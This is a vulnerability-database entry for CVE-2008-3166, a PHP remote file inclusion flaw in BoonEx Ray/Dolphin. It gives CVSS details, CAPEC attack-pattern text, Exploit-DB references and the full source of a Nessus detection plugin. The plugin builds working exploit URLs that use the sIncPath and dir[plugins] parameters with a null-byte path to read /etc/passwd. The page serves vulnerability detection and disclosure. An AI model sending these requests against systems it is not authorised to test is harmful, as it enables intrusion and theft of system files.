Vulnerabilities > CVE-2008-3166 - Code Injection vulnerability in Boonex RAY 3.5

047910
CVSS 9.3 - CRITICAL
Attack vector
NETWORK
Attack complexity
MEDIUM
Privileges required
NONE
Confidentiality impact
COMPLETE
Integrity impact
COMPLETE
Availability impact
COMPLETE
network
boonex
CWE-94
critical
nessus
exploit available

Summary

PHP remote file inclusion vulnerability in modules/global/inc/content.inc.php in BoonEx Ray 3.5, when register_globals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the sIncPath parameter.

Vulnerable Configurations

Part Description Count
Application
Boonex
1

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Leverage Executable Code in Non-Executable Files
    An attack of this type exploits a system's trust in configuration and resource files, when the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high. The attack can be directed at a client system, such as causing buffer overrun through loading seemingly benign image files, as in Microsoft Security Bulletin MS04-028 where specially crafted JPEG files could cause a buffer overrun once loaded into the browser. Another example targets clients reading pdf files. In this case the attacker simply appends javascript to the end of a legitimate url for a pdf (http://www.gnucitizen.org/blog/danger-danger-danger/) http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here The client assumes that they are reading a pdf, but the attacker has modified the resource and loaded executable javascript into the client's browser process. The attack can also target server processes. The attacker edits the resource or configuration file, for example a web.xml file used to configure security permissions for a J2EE app server, adding role name "public" grants all users with the public role the ability to use the administration functionality. The server trusts its configuration file to be correct, but when they are manipulated, the attacker gains full control.
  • Manipulating User-Controlled Variables
    This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An attacker can override environment variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the attacker can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.

Exploit-Db

  • descriptionBoonEx Ray 3.5 (sIncPath) Remote File Inclusion Vulnerability. CVE-2008-3166. Webapps exploit for php platform
    fileexploits/php/webapps/6028.txt
    idEDB-ID:6028
    last seen2016-01-31
    modified2008-07-08
    platformphp
    port
    published2008-07-08
    reporterRoMaNcYxHaCkEr
    sourcehttps://www.exploit-db.com/download/6028/
    titleBoonEx Ray 3.5 sIncPath Remote File Inclusion Vulnerability
    typewebapps
  • descriptionBoonex Dolphin 6.1.2 Multiple Remote File Inclusion Vulnerabilities. CVE-2008-3166,CVE-2008-3167. Webapps exploit for php platform
    fileexploits/php/webapps/6024.txt
    idEDB-ID:6024
    last seen2016-01-31
    modified2008-07-08
    platformphp
    port
    published2008-07-08
    reporterRoMaNcYxHaCkEr
    sourcehttps://www.exploit-db.com/download/6024/
    titleBoonex Dolphin 6.1.2 - Multiple Remote File Inclusion Vulnerabilities
    typewebapps

Nessus

NASL familyCGI abuses
NASL idDOLPHIN_FILE_INCLUDES.NASL
descriptionThe remote host is running Dolphin, a web-based social networking application written in PHP. The version of Dolphin installed on the remote host fails to sanitize user-supplied input to the
last seen2020-06-01
modified2020-06-02
plugin id33446
published2008-07-09
reporterThis script is Copyright (C) 2008-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/33446
titleDolphin Multiple Scripts Remote File Inclusion
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(33446);
  script_version("1.18");
  script_cvs_date("Date: 2018/06/13 18:56:26");

  script_cve_id("CVE-2008-3167", "CVE-2008-3166");
  script_bugtraq_id(30136);
  script_xref(name:"EDB-ID", value:"6024");
  script_xref(name:"Secunia", value:"30981");

  script_name(english:"Dolphin Multiple Scripts Remote File Inclusion");
  script_summary(english:"Tries to read /etc/passwd");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP application that is affected by
multiple remote file include vulnerabilities.");
  script_set_attribute(attribute:"description", value:
"The remote host is running Dolphin, a web-based social networking
application written in PHP. 

The version of Dolphin installed on the remote host fails to sanitize
user-supplied input to the 'dir[plugins]' parameter of
'plugins/safehtml/HTMLSax3.php' and 'plugins/safehtml/safehtml.php'
scripts as well as the 'sIncPath' parameter of the
'ray/modules/global/inc/content.inc.php' script before using it to
include PHP code.  Provided PHP's 'register_globals' setting is
enabled, an unauthenticated attacker may be able to exploit this issue
to view arbitrary files on the remote host or to execute arbitrary PHP
code, possibly taken from third-party hosts.");
  script_set_attribute(attribute:"solution", value:"Unknown at this time.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:W/RC:ND");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_cwe_id(94);

  script_set_attribute(attribute:"plugin_publication_date", value:"2008/07/09");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:boonex:dolphin");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2008-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("http_version.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);
  script_require_keys("www/PHP");
  exit(0);
}

include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("data_protection.inc");

port = get_http_port(default:80, embedded:0, php:TRUE);


file = "/etc/passwd";
file_pat = "root:.*:0:[01]:";
if (thorough_tests) 
{
  exploits = make_list(
    string("/plugins/safehtml/HTMLSax3.php?dir[plugins]=", file, "%00"),
    string("/plugins/safehtml/safehtml.php?dir[plugins]=", file, "%00"),
    string("/ray/modules/global/inc/content.inc.php?sIncPath=", file, "%00")
  );
}
else 
{
  exploits = make_list(
    string("/plugins/safehtml/HTMLSax3.php?dir[plugins]=", file, "%00")
  );
}


# Loop through directories.
if (thorough_tests) dirs = list_uniq(make_list("/dolphin", "/boonex", cgi_dirs()));
else dirs = make_list(cgi_dirs());

contents = "";
info = "";
foreach dir (dirs)
{
  # Try various exploits.
  foreach exploit (exploits)
  {
    url = string(dir, exploit);

    r = http_send_recv3(method: "GET", item:url, port:port);
    if (isnull(r)) exit(0);

    # There's a problem if...
    if (
      # there's an entry for root or...
      egrep(pattern:file_pat, string:r[2]) ||
      # we get an error because magic_quotes was enabled or...
      string("(", file, "\\0safehtml/") >< r[2] ||
      # we get an error claiming the file doesn't exist or...
      string("(", file) >< r[2] ||
      # we get an error about open_basedir restriction.
      string("open_basedir restriction in effect. File(", file) >< r[2]
    )
    {
      info += '  ' + build_url(port:port, qs:url) + '\n';

      if (!contents && egrep(pattern:file_pat, string:r[2]))
      {
        contents = r[2];
      }
    }
  }
  if (info && !thorough_tests) break;
}


if (info)
{
  if (report_verbosity)
  {
    if (max_index(split(info)) > 1) s = "s";
    else s = "";

    report = string(
      "\n",
      "The following URL", s, " appear exploitable :\n",
      "\n",
      info
    );
    if (contents && report_verbosity > 1)
    {
      contents = data_protection::redact_etc_passwd(output:contents);
      report = string(
        report,
        "\n",
        "And here are the contents of the file '", file, "' that Nessus\n",
        "was able to read from the remote host :\n",
        "\n",
        contents
      );
    }
    security_warning(port:port, extra:report);
  }
  else security_warning(port);
}